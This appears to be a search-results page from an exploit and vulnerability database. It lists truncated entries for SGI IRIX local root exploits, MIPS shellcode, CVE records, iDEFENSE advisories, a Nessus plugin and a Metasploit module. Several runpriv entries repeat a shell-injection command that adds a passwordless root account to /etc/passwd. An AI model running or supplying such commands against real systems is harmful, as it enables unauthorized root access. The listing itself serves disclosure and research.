936 matches found
linux/mips - Linksys WRT54G/GL execve shellcode 60 bytes
linux/mips Linksys WRT54G/GL execve shellcode 60 bytes. Shellcode exploit for linuxmips platform / - MIPS little-endian - linux execve 60 bytes shellcode - execve"/bin/sh","/bin/sh",; - tested on Linksys WRT54G/GL DD-WRT Linux - based on scut paper Writing MIPS/Irix shellcode vaicebine at gmail d...
OS Identification : Telnet
Nessus was able to identify the remote operating system based on the telnet banner. %NASLMINLEVEL 70300 C Tenable Network Security, Inc. include'deprecatednasllevel.inc'; include"compat.inc"; if description scriptid29831; scriptversion"1.103"; scriptsetattributeattribute:"pluginmodificationdate",...
BMC Patrol BGS_SDservice.EXE内存破坏漏洞
BMC Patrol是一款用于提供数据库系统监控的解决方案。 BMC Patrol PerformAgent服务存在内存破坏问题，远程攻击者可以利用漏洞以应用程序权限执行任意指令。 bgssdservice.exe默认监听TCP 10128端口，由于不正确解析发送给此服务的XDR数据，攻击者可以操作进行内存拷贝操作的参数，而导致堆栈破坏，包括SEH指针，可造成任意指令执行。 BMC Software Patrol 3.5 BMC Software Patrol 3.4.11 BMC Software Patrol 3.3 BMC Software Patrol 3.2.7 BMC...
IRIX /bin/login Local Buffer Overflow Exploit
No description provided by source. / /bin/login exploit by DCRH 24/5/97 Tested on: R3000 Indigo Irix 5.3 R4400 Indy Irix 5.3 R5000 O2 Irix 6.3 R8000 Power Challenge Irix 6.2 Compile as: cc -n32 login.c for Irix 6.x cc login.c for Irix 5.x Press enter when prompted for a password / include stdio.h...
IRIX Multiple Buffer Overflow Exploits (LsD)
No description provided by source. / copyright by / / Last Stage of Delirium, Dec 1996, Poland/ include stdio.h include stdlib.h include fcntl.h define BUFSIZE 2068 define OFFS 800 define ADDRS 3 define ALIGN 0 define ALIGN2 4 char...
IRIX 5.3 /usr/sbin/iwsh Local Root Buffer Overflow
No description provided by source. / /usr/sbin/iwsh.c exploit by DCRH 27/5/97 Tested on: R3000 Indigo Irix 5.3 R4400 Indy Irix 5.3 Irix 5.x only compile as: cc iwsh.c / include stdio.h include stdlib.h include string.h include sys/types.h include unistd.h define NUMADDRESSES 500 define BUFLENGTH...
IRIX (5.3/6.2/6.3/6.4/6.5/6.5.11) /usr/lib/print/netprint Local Exploit
No description provided by source. !/bin/sh copyright LAST STAGE OF DELIRIUM jul 2000 poland ://lsd-pl.net/ /usr/lib/print/netprint This code gets released due to another post to the Bugtraq mailing list. For IRIX 6.3 and above this privilage escalation attack can be conducted by local lp users...
IRIX (5.3/6.2/6.3/6.4/6.5/6.5.11) /usr/bin/lpstat Local Exploit
No description provided by source. !/bin/sh copyright LAST STAGE OF DELIRIUM jul 2000 poland ://lsd-pl.net/ /usr/bin/lpstat EXECUTABLE=/usr/bin/lpstat FILE=file LIBRARY=lsd DIRECTORY=tmp cd $DIRECTORY cat $FILE 'EOF' HOSTNAME=localhost HOSTPRINTER=bzzz-z EOF echo NETTYPE=../../../../$DIRECTORY/ls...
irix6local.txt
SGI IRIX 6.usr/sysadm/bin/runpriv draft resolution to be to complete at antecedence but to stoke seriously came ran ready-to-wear there is no need to explain in the interest of owners yonder protection them from geeks but whom need to make realize excellent. visit http://lezr.com/vb echo SGI IRIX...
Irix LPD tagprinter Command Execution
This module exploits an arbitrary command execution flaw in the in.lpd service shipped with all versions of Irix. This module requires Metasploit: https://metasploit.com/download Current source: https://github.com/rapid7/metasploit-framework class MetasploitModule 'Irix LPD tagprinter Command...
CVE-2005-2925
The CVE-2005-2925 issue concerns SGI IRIX’s runpriv, a setuid-root helper in /usr/sysadm/privbin. The vulnerability arises from a design flaw that permits local attackers to execute arbitrary commands by injecting shell metacharacters into a command line that is otherwise allowed, enabling root p...
CVE-2005-2925
runpriv in SGI IRIX allows local users to bypass intended restrictions and execute arbitrary commands via shell metacharacters in a command line for a privileged binary in /usr/sysadm/privbin...
iDEFENSE Security Advisory 2005-10-10.t
SGI IRIX runpriv Design Error Vulnerability iDEFENSE Security Advisory 10.10.05 www.idefense.com/application/poi/display?id=312&type=vulnerabilities October 10, 2005 I. BACKGROUND The runpriv program is a setuid root application that checks to see if a regular user has been granted privileges to...
[Full-disclosure] iDEFENSE Security Advisory 10.10.05: SGI IRIX runpriv Design Error Vulnerability
SGI IRIX runpriv Design Error Vulnerability iDEFENSE Security Advisory 10.10.05 www.idefense.com/application/poi/display?id=312&type=vulnerabilities October 10, 2005 I. BACKGROUND The runpriv program is a setuid root application that checks to see if a regular user has been granted privileges to...
SGI IRIX runpriv utility unfiltered shell characters vulnerability
Unfiltered shell characters allow to execute any command...
SGI IRIX <= 6.5.28 (runpriv) Design Error Vulnerability
Exploit for irix platform in category local exploits ======================================================= SGI IRIX /etc/passwd'" su r00t -c "chown root:sys /tmp/passwd123 ; mv /tmp/passwd123 /etc/passwd ; chmod 644 /etc/passwd ; su" 0day.today 2018-01-02...
SGI IRIX <= 6.5.28 (runpriv) Design Error Vulnerability
No description provided by source. !/bin/sh Advisory: http://www.idefense.com/intelligence/vulnerabilities/display.php?id=312 /usr/sysadm/bin/runpriv mountfs -s test -d / -o | "ksh -c 'echo r00t::0:0:r00t:/tmp:/bin/sh /etc/passwd'" su r00t -c "chown root:sys /tmp/passwd123 ; mv /tmp/passwd123...
SGI IRIX 6.5.28 - runpriv Design Error
SGI IRIX 6.5.28 - runpriv Design Error !/bin/sh Advisory: http://www.idefense.com/intelligence/vulnerabilities/display.php?id=312 /usr/sysadm/bin/runpriv mountfs -s test -d / -o | "ksh -c 'echo r00t::0:0:r00t:/tmp:/bin/sh /etc/passwd'" su r00t -c "chown root:sys /tmp/passwd123 ; mv /tmp/passwd123...
SGI IRIX 6.5.28 - 'runpriv' Design Error
!/bin/sh Advisory: http://www.idefense.com/intelligence/vulnerabilities/display.php?id=312 /usr/sysadm/bin/runpriv mountfs -s test -d / -o | "ksh -c 'echo r00t::0:0:r00t:/tmp:/bin/sh /etc/passwd'" su r00t -c "chown root:sys /tmp/passwd123 ; mv /tmp/passwd123 /etc/passwd ; chmod 644 /etc/passwd ;...
CVE-2005-0138
rpc.mountd in SGI IRIX 6.5.25, 6.5.26, and 6.5.27 does not correctly allow access to anonymous clients that connect from a system whose hostname can not be determined. NOTE: while this issue occurs in a security mechanism, there is no apparent attacker role and probably does not satisfy the CVE...